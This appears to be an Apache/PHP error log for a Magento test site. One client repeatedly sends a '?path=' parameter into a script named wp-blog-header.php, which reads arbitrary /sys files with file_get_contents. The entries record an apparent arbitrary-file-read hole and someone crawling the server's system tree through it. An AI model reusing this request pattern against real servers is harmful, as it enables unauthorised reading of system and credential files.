[Thu Mar 26 06:35:16.072749 2026] [php:warn] [pid 2976813] [client 74.7.241.26:57458] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7b/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7b/subsystem/drivers/ac
[Thu Mar 26 06:36:45.838613 2026] [php:notice] [pid 2977451] [client 74.7.241.26:44384] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a9/subsystem/devices/device:ba/power
[Thu Mar 26 06:39:35.563108 2026] [php:warn] [pid 2976374] [client 74.7.241.26:35608] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:2c/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:2c/subsystem/devices/device:fe
[Thu Mar 26 06:41:14.814860 2026] [php:warn] [pid 2957966] [client 74.7.241.26:58164] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9d/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9d/subsystem/devices/device:ce
[Thu Mar 26 06:41:27.166262 2026] [php:warn] [pid 2977063] [client 74.7.241.26:53308] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6f/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6f/subsystem/drivers/ec
[Thu Mar 26 06:43:01.147620 2026] [php:warn] [pid 2957966] [client 74.7.241.26:37442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a2/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a2/subsystem/drivers/ac
[Thu Mar 26 06:43:11.929472 2026] [php:warn] [pid 2957966] [client 74.7.241.26:37442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:d6/subsystem/drivers/button/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:d6/subsystem/drivers/button
[Thu Mar 26 06:48:24.943779 2026] [php:warn] [pid 2976814] [client 74.7.241.26:35934] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9f/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9f/subsystem/devices/device:be
[Thu Mar 26 06:49:54.601435 2026] [php:warn] [pid 2946667] [client 74.7.241.26:54446] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:4e/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:4e/subsystem/drivers/ac
[Thu Mar 26 06:51:04.948850 2026] [php:warn] [pid 2976804] [client 74.7.241.26:35804] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:f6/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:f6/subsystem/devices/device:fe
[Thu Mar 26 06:53:08.570186 2026] [php:warn] [pid 2976814] [client 74.7.241.26:57060] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c1/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c1/subsystem/drivers/ac
[Thu Mar 26 06:54:01.674500 2026] [php:warn] [pid 2976374] [client 74.7.241.26:34072] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:3f/subsystem/drivers/hpet/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:3f/subsystem/drivers/hpet
[Thu Mar 26 06:54:17.038399 2026] [php:warn] [pid 2976814] [client 74.7.241.26:35738] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a5/subsystem/drivers/hpet/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a5/subsystem/drivers/hpet
[Thu Mar 26 06:54:23.789513 2026] [php:warn] [pid 2976814] [client 74.7.241.26:35738] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a8/subsystem/drivers/hpet/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a8/subsystem/drivers/hpet
[Thu Mar 26 06:55:01.174988 2026] [php:warn] [pid 2977451] [client 74.7.241.26:55062] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:5a/subsystem/drivers/nfit/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:5a/subsystem/drivers/nfit
[Thu Mar 26 06:55:21.923854 2026] [php:warn] [pid 2977451] [client 74.7.241.26:55062] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c3/physical_node/subsystem/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c3/physical_node/subsystem
[Thu Mar 26 06:55:22.479758 2026] [php:warn] [pid 2977451] [client 74.7.241.26:55062] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7a/subsystem/drivers/button/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7a/subsystem/drivers/button
[Thu Mar 26 06:55:35.609862 2026] [php:warn] [pid 2977451] [client 74.7.241.26:55062] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:4c/subsystem/drivers/button/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:4c/subsystem/drivers/button
[Thu Mar 26 06:55:39.782773 2026] [php:warn] [pid 2977451] [client 74.7.241.26:55062] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:2d/subsystem/drivers/button/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:2d/subsystem/drivers/button
[Thu Mar 26 06:55:42.507080 2026] [php:warn] [pid 2977451] [client 74.7.241.26:55062] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c4/subsystem/drivers/button/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c4/subsystem/drivers/button
[Thu Mar 26 06:55:44.027996 2026] [php:warn] [pid 2977451] [client 74.7.241.26:55062] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:f3/subsystem/drivers/button/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:f3/subsystem/drivers/button
[Thu Mar 26 06:55:57.976938 2026] [php:warn] [pid 2976814] [client 74.7.241.26:46002] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/drivers/button/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9c/subsystem/drivers/button
[Thu Mar 26 06:56:09.594168 2026] [php:warn] [pid 2976814] [client 74.7.241.26:46002] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7d/subsystem/drivers/button/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7d/subsystem/drivers/button
[Thu Mar 26 06:57:01.551584 2026] [php:notice] [pid 2977063] [client 74.7.241.26:51926] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/device:cc/power
[Thu Mar 26 06:58:27.573008 2026] [php:warn] [pid 2946678] [client 74.7.241.26:45836] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:2f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:2f
[Thu Mar 26 06:59:31.482913 2026] [php:warn] [pid 2977451] [client 74.7.241.26:39762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:35/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:35
[Thu Mar 26 07:01:58.643982 2026] [php:warn] [pid 2976804] [client 74.7.241.26:37876] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee
[Thu Mar 26 07:04:11.431223 2026] [php:warn] [pid 2976804] [client 74.7.241.26:58654] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:9e
[Thu Mar 26 07:06:57.132221 2026] [php:notice] [pid 2946666] [client 74.7.241.26:50988] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/power
[Thu Mar 26 07:07:08.763368 2026] [php:warn] [pid 2946666] [client 74.7.241.26:50988] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/physical_node
[Thu Mar 26 07:08:30.549397 2026] [php:warn] [pid 2946667] [client 74.7.241.26:45354] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ff/subsystem/devices/device:3e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ff/subsystem/devices/device:3e
[Thu Mar 26 07:09:06.822468 2026] [php:warn] [pid 2946678] [client 74.7.241.26:58524] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cc/subsystem/devices/device:b8/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cc/subsystem/devices/device:b8
[Thu Mar 26 07:10:51.780458 2026] [php:warn] [pid 2977063] [client 74.7.241.26:45412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/subsystem/devices/device:b6/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/subsystem/devices/device:b6
[Thu Mar 26 07:12:46.068310 2026] [php:warn] [pid 2977063] [client 74.7.241.26:55662] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cc/subsystem/devices/device:7c/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cc/subsystem/devices/device:7c
[Thu Mar 26 07:12:53.470397 2026] [php:warn] [pid 2977063] [client 74.7.241.26:55662] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/subsystem/devices/device:e0/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/subsystem/devices/device:e0
[Thu Mar 26 07:14:17.084236 2026] [php:warn] [pid 2977063] [client 74.7.241.26:48608] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/subsystem/devices/device:4c/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/subsystem/devices/device:4c
[Thu Mar 26 07:14:36.460696 2026] [php:warn] [pid 2977063] [client 74.7.241.26:48608] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/subsystem/devices/device:3b/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cb/subsystem/devices/device:3b
[Thu Mar 26 07:16:19.332664 2026] [php:warn] [pid 2976814] [client 74.7.241.26:38358] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ec/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ec/subsystem/devices/device:bc
[Thu Mar 26 07:18:45.085784 2026] [php:warn] [pid 2976804] [client 74.7.241.26:54308] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:dc/subsystem/devices/device:1e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:dc/subsystem/devices/device:1e
[Thu Mar 26 07:18:47.203666 2026] [php:warn] [pid 2976804] [client 74.7.241.26:54308] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ca/subsystem/devices/device:e6/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ca/subsystem/devices/device:e6
[Thu Mar 26 07:19:10.189140 2026] [php:warn] [pid 2976804] [client 74.7.241.26:54308] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:af/subsystem/devices/device:e8/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:af/subsystem/devices/device:e8
[Thu Mar 26 07:19:12.294163 2026] [php:warn] [pid 2976804] [client 74.7.241.26:54308] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fe/subsystem/devices/device:2a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fe/subsystem/devices/device:2a
[Thu Mar 26 07:23:23.184985 2026] [php:warn] [pid 2946666] [client 74.7.241.26:50100] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fe/subsystem/devices/device:4c/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fe/subsystem/devices/device:4c
[Thu Mar 26 07:25:03.379028 2026] [php:warn] [pid 2946678] [client 74.7.241.26:58696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fb/subsystem/devices/device:bc
[Thu Mar 26 07:25:12.308606 2026] [php:warn] [pid 2946678] [client 74.7.241.26:58696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:eb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:eb/subsystem/drivers/ec
